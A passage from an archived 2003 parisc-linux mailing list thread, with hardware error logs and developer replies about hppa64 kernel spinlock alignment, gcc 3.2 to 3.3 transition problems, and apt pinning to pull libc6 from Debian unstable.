  --  --  --      -----      -  -  -  ----  ---  --  --  --
               ERR_FUNCTION                      X       

IO Requestor Address    = 0x0000000000000000
IO Target Address       = 0x0000000000000000
IO Responder Address    = 0x0000000000000000
IO Physical Location    = 0x000000ffffffff82
IO Hardware Path        = 0x00ffffffffffff00

Module Error Register   = 0x0000000000000000
Rope Physical Location  = 0x000101ffff05ff83

System Bus Adapter --       Rope Interface
------------------------------------------

Timestamp =    Fri Feb  28 15:21:39 GMT 2003    (20:03:02:28:15:21:39)

  OV  RQ  RS      ESTAT      A  C  D  corr  unc  fe  cw  pf
  --  --  --      -----      -  -  -  ----  ---  --  --  --
               ERR_FUNCTION                      X       

IO Requestor Address    = 0x0000000000000000
IO Target Address       = 0x0000000000000000
IO Responder Address    = 0x0000000000000000
IO Physical Location    = 0x000000ffffffff82
IO Hardware Path        = 0x00ffffffffffff00

Module Error Register   = 0x0000000000000000
Rope Physical Location  = 0x000101ffff03ff83

System Bus Adapter -- System Bus Interface
------------------------------------------

Timestamp =    Fri Feb  28 15:21:40 GMT 2003    (20:03:02:28:15:21:40)

  OV  RQ  RS      ESTAT      A  C  D  corr  unc  fe  cw  pf
  --  --  --      -----      -  -  -  ----  ---  --  --  --
  X       X     ERR_ERROR       X                X       

IO Requestor Address    = 0x0000000000000000
IO Target Address       = 0x0000000000000000
IO Responder Address    = 0xfffffffffed40000
IO Physical Location    = 0x000000ffffffff82
IO Hardware Path        = 0x00ffffffffffff01

Module Error Register   = 0x0000000007ff0034

System Bus Adapter --       Rope Interface
------------------------------------------

Timestamp =    Fri Feb  28 15:21:42 GMT 2003    (20:03:02:28:15:21:42)

  OV  RQ  RS      ESTAT      A  C  D  corr  unc  fe  cw  pf
  --  --  --      -----      -  -  -  ----  ---  --  --  --
               ERR_FUNCTION                      X       

IO Requestor Address    = 0x0000000000000000
IO Target Address       = 0x0000000000000000
IO Responder Address    = 0x0000000000000000
IO Physical Location    = 0x000000ffffffff82
IO Hardware Path        = 0x00ffffffffffff01

Module Error Register   = 0x0000000000000000
Rope Physical Location  = 0x000202ffff0cff83

System Bus Adapter --       Rope Interface
------------------------------------------

Timestamp =    Fri Feb  28 15:21:42 GMT 2003    (20:03:02:28:15:21:42)

  OV  RQ  RS      ESTAT      A  C  D  corr  unc  fe  cw  pf
  --  --  --      -----      -  -  -  ----  ---  --  --  --
               ERR_FUNCTION                      X       

IO Requestor Address    = 0x0000000000000000
IO Target Address       = 0x0000000000000000
IO Responder Address    = 0x0000000000000000
IO Physical Location    = 0x000000ffffffff82
IO Hardware Path        = 0x00ffffffffffff01

Module Error Register   = 0x0000000000000000
Rope Physical Location  = 0x000202ffff0aff83

System Bus Adapter --       Rope Interface
------------------------------------------

Timestamp =    Fri Feb  28 15:21:42 GMT 2003    (20:03:02:28:15:21:42)

  OV  RQ  RS      ESTAT      A  C  D  corr  unc  fe  cw  pf
  --  --  --      -----      -  -  -  ----  ---  --  --  --
               ERR_FUNCTION                      X       

IO Requestor Address    = 0x0000000000000000
IO Target Address       = 0x0000000000000000
IO Responder Address    = 0x0000000000000000
IO Physical Location    = 0x000000ffffffff82
IO Hardware Path        = 0x00ffffffffffff01

Module Error Register   = 0x0000000000000000
Rope Physical Location  = 0x000202ffff09ff83

System Bus Adapter --       Rope Interface
------------------------------------------

Timestamp =    Fri Feb  28 15:21:42 GMT 2003    (20:03:02:28:15:21:42)

  OV  RQ  RS      ESTAT      A  C  D  corr  unc  fe  cw  pf
  --  --  --      -----      -  -  -  ----  ---  --  --  --
               ERR_FUNCTION                      X       

IO Requestor Address    = 0x0000000000000000
IO Target Address       = 0x0000000000000000
IO Responder Address    = 0x0000000000000000
IO Physical Location    = 0x000000ffffffff82
IO Hardware Path        = 0x00ffffffffffff01

Module Error Register   = 0x0000000000000000
Rope Physical Location  = 0x000202ffff0bff83

System Bus Adapter --       Rope Interface
------------------------------------------

Timestamp =    Fri Feb  28 15:21:42 GMT 2003    (20:03:02:28:15:21:42)

  OV  RQ  RS      ESTAT      A  C  D  corr  unc  fe  cw  pf
  --  --  --      -----      -  -  -  ----  ---  --  --  --
               ERR_FUNCTION                      X       

IO Requestor Address    = 0x0000000000000000
IO Target Address       = 0x0000000000000000
IO Responder Address    = 0x0000000000000000
IO Physical Location    = 0x000000ffffffff82
IO Hardware Path        = 0x00ffffffffffff01

Module Error Register   = 0x0000000000000000
Rope Physical Location  = 0x000202ffff08ff83

System Bus Adapter --       Rope Interface
------------------------------------------

Timestamp =    Fri Feb  28 15:21:42 GMT 2003    (20:03:02:28:15:21:42)

  OV  RQ  RS      ESTAT      A  C  D  corr  unc  fe  cw  pf
  --  --  --      -----      -  -  -  ----  ---  --  --  --
               ERR_FUNCTION                      X       

IO Requestor Address    = 0x0000000000000000
IO Target Address       = 0x0000000000000000
IO Responder Address    = 0x0000000000000000
IO Physical Location    = 0x000000ffffffff82
IO Hardware Path        = 0x00ffffffffffff01

Module Error Register   = 0x0000000000000000
Rope Physical Location  = 0x000202ffff07ff83


What and how should I submit to dump_analyser.sh (if relevant for a 64bits
kernel?)

Thanks in advance,
    Joel






---------------------------------
Vous surfez avec une ligne classique ?
Faites des economies avec Tiscali Complete
... Plus d'info sur http://complete.tiscali.be




From - Thu Nov 08 21:26:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.4.20-pa27 64bits smp problem!
Date: Fri, 28 Feb 2003 12:40:41 -0500 (EST)
Lines: 51
Approved: news@gmane.org
Message-ID: <200302281740.h1SHegff003314@hiauly1.hia.nrc.ca>
References: <3E5A232800001242@ocpmta8.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622249 22478 80.91.229.3 (22 Nov 2014 02:10:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:10:49 +0000 (UTC)
Cc: willy@debian.org, parisc-linux@parisc-linux.org
To: jsoe0708@tiscali.be (Joel Soete)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Feb 28 10:40:46 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 6204D4842
	for <parisc-linux@parisc-linux.org>; Fri, 28 Feb 2003 10:40:44 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) with ESMTP id h1SHegtI003316;
	Fri, 28 Feb 2003 12:40:42 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) id h1SHegff003314;
	Fri, 28 Feb 2003 12:40:42 -0500 (EST)
In-Reply-To: <3E5A232800001242@ocpmta8.freegates.net> from "Joel Soete" at Feb 28, 2003 02:56:55 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17819

> Sorry Dave I do not find this stuff.

The place to look is

linuxthreads/sysdeps/unix/sysv/linux/hppa/bits/initspin.h.

It is rather buried.  Carlos and I have had some rather lengthy
discussions on how to implement pthread locking in glibc given
the limitations in aligning data on the stack and also for data
allocated by malloc.  This might be relevant to the kernel
locking code.

>  #define rwlock_init(lp)	do { *(lp) = RW_LOCK_UNLOCKED; } while (0)

The above macro uses a compound literal.  This creates a unique object
in the scope in which the macro is used.  As this is a BLKmode object,
the alignment of the object is set to GCC's definition for BIGGEST_ALIGNMENT.
The overall alignment also won't be better than STACK_BOUNDARY.  It
is possible to use a "static" macro argument in which case space for the
object will be allocated in the .bss section rather than on the stack.
This also allows the alignment attribute to work.  If you do this, then
you have to worry about whether the code needs to be reentrant.

On the hppa64 port (3.3 & later), BIGGEST_ALIGNMENT, STACK_BOUNDARY
and PREFERRED_STACK_BOUNDARY are now all 128 bits.  Prior to 3.3,
PREFERRED_STACK_BOUNDARY is 1024 bits but this is wrong.  The runtime
documentation specifies 128 bits (16 bytes) for the stack alignment
on the 64-bit port.  Using a larger boundary just wastes space.
Stack alignment is also determined by what you start with.

Also note, any attempt to provide an overall alignment for the compound
literal on the stack is ignored.  However, as all 64-bit machines are
PA 2.0, this doesn't matter.  On the otherhand, the alignment does
matter for the 32-bit port on PA 1.1 machines.  There the ldcw insn
has to operate on 16-byte aligned data.  GCC from the master source
has BIGGEST_ALIGNMENT set to 64-bits on the 32-bit port.  So, the
above macro won't create a properly aligned lock.  Debian 3.0.4 has
BIGGEST_ALIGNMENT set to 128, so it should be used for PA 1.1 kernel
builds until this issue is resolved.

> Any better idea?

Not really.  I might use a name like SPIN_LOCK_UNLOCKED_INIT rather than
C_SPIN_LOCK_UNLOCKED, as I think it is slightly more descriptive.

Hope this helps,
Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:26:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.4.20-pa27 64bits smp problem!
Date: Fri, 28 Feb 2003 13:11:39 -0500 (EST)
Lines: 17
Approved: news@gmane.org
Message-ID: <200302281811.h1SIBeBk003472@hiauly1.hia.nrc.ca>
References: <3E5F80120000003F@ocpmta8.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622249 22485 80.91.229.3 (22 Nov 2014 02:10:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:10:49 +0000 (UTC)
Cc: willy@debian.org, parisc-linux@parisc-linux.org
To: jsoe0708@tiscali.be (Joel Soete)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Feb 28 11:11:45 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id A9FD24842
	for <parisc-linux@parisc-linux.org>; Fri, 28 Feb 2003 11:11:44 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) with ESMTP id h1SIBetI003473;
	Fri, 28 Feb 2003 13:11:40 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) id h1SIBeBk003472;
	Fri, 28 Feb 2003 13:11:40 -0500 (EST)
In-Reply-To: <3E5F80120000003F@ocpmta8.freegates.net> from "Joel Soete" at Feb 28, 2003 06:19:02 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17820

> >I test it on gcc-3.2 64bits and I obtain a a kernel (I will try to boot
> it
> >latter).

I would like to strongly suggest 3.3 be used for this kind testing.
The 3.2 branch is more or less at its end.  There is a serious PR
relating to building a cross to hppa64-linux on hppa-linux which
hasn't been resolved.  3.3 has a huge number of changes (hopefully
improvements) for hppa64 and we are still doing bug fixes (no new
features).  3.3 isn't far from release, so the more testing the
better.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:26:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <jsoe0708@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.4.20-pa27 64bits smp problem!
Date: Fri, 28 Feb 2003 19:37:38 +0100
Lines: 60
Approved: news@gmane.org
Message-ID: <3E5F37B2000002B5@ocpmta1.freegates.net>
References: <200302281740.h1SHegff003314@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622250 22489 80.91.229.3 (22 Nov 2014 02:10:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:10:50 +0000 (UTC)
Cc: willy@debian.org, parisc-linux@parisc-linux.org
To: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Feb 28 11:37:46 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolm3.tiscalinet.be [212.35.2.72])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8AFE84842
	for <parisc-linux@parisc-linux.org>; Fri, 28 Feb 2003 11:37:46 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali) 
	id 18opO9-0005Vz-00; Fri, 28 Feb 2003 19:37:41 +0100
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Fri, 28 Feb 2003 19:37:38 +0100
In-Reply-To: <200302281740.h1SHegff003314@hiauly1.hia.nrc.ca>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17821


>> Sorry Dave I do not find this stuff.
>
>The place to look is
>
>linuxthreads/sysdeps/unix/sysv/linux/hppa/bits/initspin.h.
>
>It is rather buried.  Carlos and I have had some rather lengthy
>discussions on how to implement pthread locking in glibc given
>the limitations in aligning data on the stack and also for data
>allocated by malloc.  This might be relevant to the kernel
>locking code.
>
>>  #define rwlock_init(lp)	do { *(lp) = RW_LOCK_UNLOCKED; } while (0)
>
>The above macro uses a compound literal.  This creates a unique object
>in the scope in which the macro is used.  As this is a BLKmode object,
>the alignment of the object is set to GCC's definition for BIGGEST_ALIGNMENT.
>The overall alignment also won't be better than STACK_BOUNDARY.  It
>is possible to use a "static" macro argument in which case space for the
>object will be allocated in the .bss section rather than on the stack.
>This also allows the alignment attribute to work.  If you do this, then
>you have to worry about whether the code needs to be reentrant.
>
>On the hppa64 port (3.3 & later), BIGGEST_ALIGNMENT, STACK_BOUNDARY
>and PREFERRED_STACK_BOUNDARY are now all 128 bits.  Prior to 3.3,
>PREFERRED_STACK_BOUNDARY is 1024 bits but this is wrong.  The runtime
>documentation specifies 128 bits (16 bytes) for the stack alignment
>on the 64-bit port.  Using a larger boundary just wastes space.
>Stack alignment is also determined by what you start with.
>
>Also note, any attempt to provide an overall alignment for the compound
>literal on the stack is ignored.  However, as all 64-bit machines are
>PA 2.0, this doesn't matter.  On the otherhand, the alignment does
>matter for the 32-bit port on PA 1.1 machines.  There the ldcw insn
>has to operate on 16-byte aligned data.  GCC from the master source
>has BIGGEST_ALIGNMENT set to 64-bits on the 32-bit port.  So, the
>above macro won't create a properly aligned lock.  Debian 3.0.4 has
>BIGGEST_ALIGNMENT set to 128, so it should be used for PA 1.1 kernel
>builds until this issue is resolved.
>
Thanks for all info ;)

>> Any better idea?
>
>Not really.  I might use a name like SPIN_LOCK_UNLOCKED_INIT rather than
>C_SPIN_LOCK_UNLOCKED, as I think it is slightly more descriptive.
>
Ok for me (my C_ would stand for Constant form)

Joel


---------------------------------
Vous surfez avec une ligne classique ?
Faites des economies avec Tiscali Complete
... Plus d'info sur http://complete.tiscali.be




From - Thu Nov 08 21:26:56 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: grundler@dsl2.external.hp.com (Grant Grundler)
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: Cross compiling for 64 bit on HPPA
Date: Fri, 28 Feb 2003 23:17:12 -0700
Lines: 45
Approved: news@gmane.org
Message-ID: <20030301061712.GB5518__20087.8833923072$1416622250$gmane$org@dsl2.external.hp.com>
References: <20030228225506.37072.qmail@web12203.mail.yahoo.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622250 22499 80.91.229.3 (22 Nov 2014 02:10:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:10:50 +0000 (UTC)
Cc: debian-hppa@lists.debian.org, parisc-linux@lists.parisc-linux.org
To: mike ganley <mgg01@yahoo.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Feb 28 23:17:12 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id 1B44A4842; Fri, 28 Feb 2003 23:17:12 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <20030228225506.37072.qmail@web12203.mail.yahoo.com>
User-Agent: Mutt/1.3.28i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17822

On Fri, Feb 28, 2003 at 02:55:06PM -0800, mike ganley wrote:
> hppa64 cross compiler.  Everything goes fine, then
> hppa64-linux-ld complains libc6 is version 2.2.5 and
> it requires 2.3 or greater.

libc6 2.3.x is only available from "unstable" debian pool.

Having just learned how to set up a "hybrid" release, I don't want
to reccomend this to anyone.  IMHO, this is for someone willing to
take risks with stability of a system, is not a developer, and wants
something that's only in "unstable".  Drawback with "hybrid" is package
maintainers will not like you if you report bugs - mixed releases are a
PITA to reproduce. Personally, I'm not going to report bugs
with the one box (my laptop) I have setup this way.

The following seems like the "least evil" way to go about it:

1) /etc/apt/apt.conf should have the line:
	APT::Default-Release "testing";

2) duplicate "testing" entries in /etc/apt/sources.list for
   "unstable" as well. run "apt-get update".

3) copy the following 7 lines into /etc/apt/preferences:
Package: *
Pin: release a=testing
Pin-Priority: 650

Package: *
Pin: release a=unstable
Pin-Priority: 90

  This allows one to install from unstable but not update such debs
  *until* they get promoted to "testing" release. Once this deb version
  is promoted to testing, it tracks versions like normal.

  Read "man apt_preferences" for more details.

4) "apt-get install libc6/unstable" to update to libc6 2.3.1 lib.
   You will have to install several other packages from /unstable
   at the same time. But apt-get will complain about which packages.

hth,
grant


From - Thu Nov 08 21:26:56 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <tausq@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: gcc-3.2 -> gcc-3.3 transition on hppa
Date: Sat, 1 Mar 2003 20:59:36 -0800
Lines: 27
Approved: news@gmane.org
Message-ID: <20030302045936.GS11363__40480.1150238656$1416622250$gmane$org@tausq.org>
References: <15968.40812.741982.606734@gargle.gargle.HOWL> <15969.1828.456001.122737@gargle.gargle.HOWL>
Reply-To: Randolph Chung <tausq@debian.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622250 22502 80.91.229.3 (22 Nov 2014 02:10:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:10:50 +0000 (UTC)
Cc: debian-hppa@lists.debian.org, debian-gcc@lists.debian.org,
	parisc-linux@lists.parisc-linux.org
To: Matthias Klose <doko@cs.tu-berlin.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Mar  1 22:03:03 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0E0424842
	for <parisc-linux@lists.parisc-linux.org>; Sat,  1 Mar 2003 22:03:03 -0700 (MST)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id BE4F2CD294; Sat,  1 Mar 2003 20:59:36 -0800 (PST)
Content-Disposition: inline
In-Reply-To: <15969.1828.456001.122737@gargle.gargle.HOWL>
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.3i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17823

In reference to a message from Matthias Klose, dated Mar 01:
> Matthias Klose writes:
> > AFAIK the transition from 3.2 to 3.3 requires recompilation of C++
> > code due to the changed exception handling (now DWARF2 based). As
> > libstdc++ in 3.2 and 3.2 have the same soname, how to handle it?
> > Currently 3.2 is in unstable only. Would you want to start the
> > recompilation before 3.2 based binaries go to testing?
> > 
> > The packaging for 3.3 can be found in the Debian CVS.
> 
> You can get test packages from
> 	http://ftp-master.debian.org/~doko/gcc-3.3/

well.... this is not looking good. after installing these in a freshly
built sarge chroot, all c++ programs stop working (well, i've only tried
two -- apt and fakeroot)

(btw, small packaging detail, but the libstdc++*-dev package above
cannot be installed cleanly because it overwrites things in the current
3.2 package)

randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/


From - Thu Nov 08 21:26:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: gcc-3.2 -> gcc-3.3 transition on hppa
Date: Sun, 2 Mar 2003 00:40:40 -0500 (EST)
Lines: 23
Approved: news@gmane.org
Message-ID: <200303020540.h225eeif006180__24610.3251040497$1416622251$gmane$org@hiauly1.hia.nrc.ca>
References: <20030302045936.GS11363@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622251 22509 80.91.229.3 (22 Nov 2014 02:10:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:10:51 +0000 (UTC)
Cc: doko@cs.tu-berlin.de, debian-hppa@lists.debian.org,
	debian-gcc@lists.debian.org, parisc-linux@lists.parisc-linux.org
To: tausq@debian.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Mar  1 22:40:44 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 282E24842
	for <parisc-linux@lists.parisc-linux.org>; Sat,  1 Mar 2003 22:40:44 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) with ESMTP id h225eetI006181;
	Sun, 2 Mar 2003 00:40:41 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) id h225eeif006180;
	Sun, 2 Mar 2003 00:40:40 -0500 (EST)
In-Reply-To: <20030302045936.GS11363@tausq.org> from "Randolph Chung" at Mar 1, 2003 08:59:36 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17824

> In reference to a message from Matthias Klose, dated Mar 01:
> > Matthias Klose writes:
> > > AFAIK the transition from 3.2 to 3.3 requires recompilation of C++
> > > code due to the changed exception handling (now DWARF2 based). As
> > > libstdc++ in 3.2 and 3.2 have the same soname, how to handle it?

Possibly, this issue should be broached with the libstdc++ maintainers.
In my testing, I have moved to installing each gcc version in its own
directory.

I should note again that 3.3 has a ABI change in the passing of small
structures.  It also contains a fix for function pointer comparison.
As glibc does function comparison in a number of routines, it needs
recompilation with 3.3 to work correctly.  Then, I believe gcc needs
to be rebuilt as libstdc++ depends on the thread implementation.  The
last glibc linuxthread code that I downloaded was still broken.  I know
Carlos has a patch in the works.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:26:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
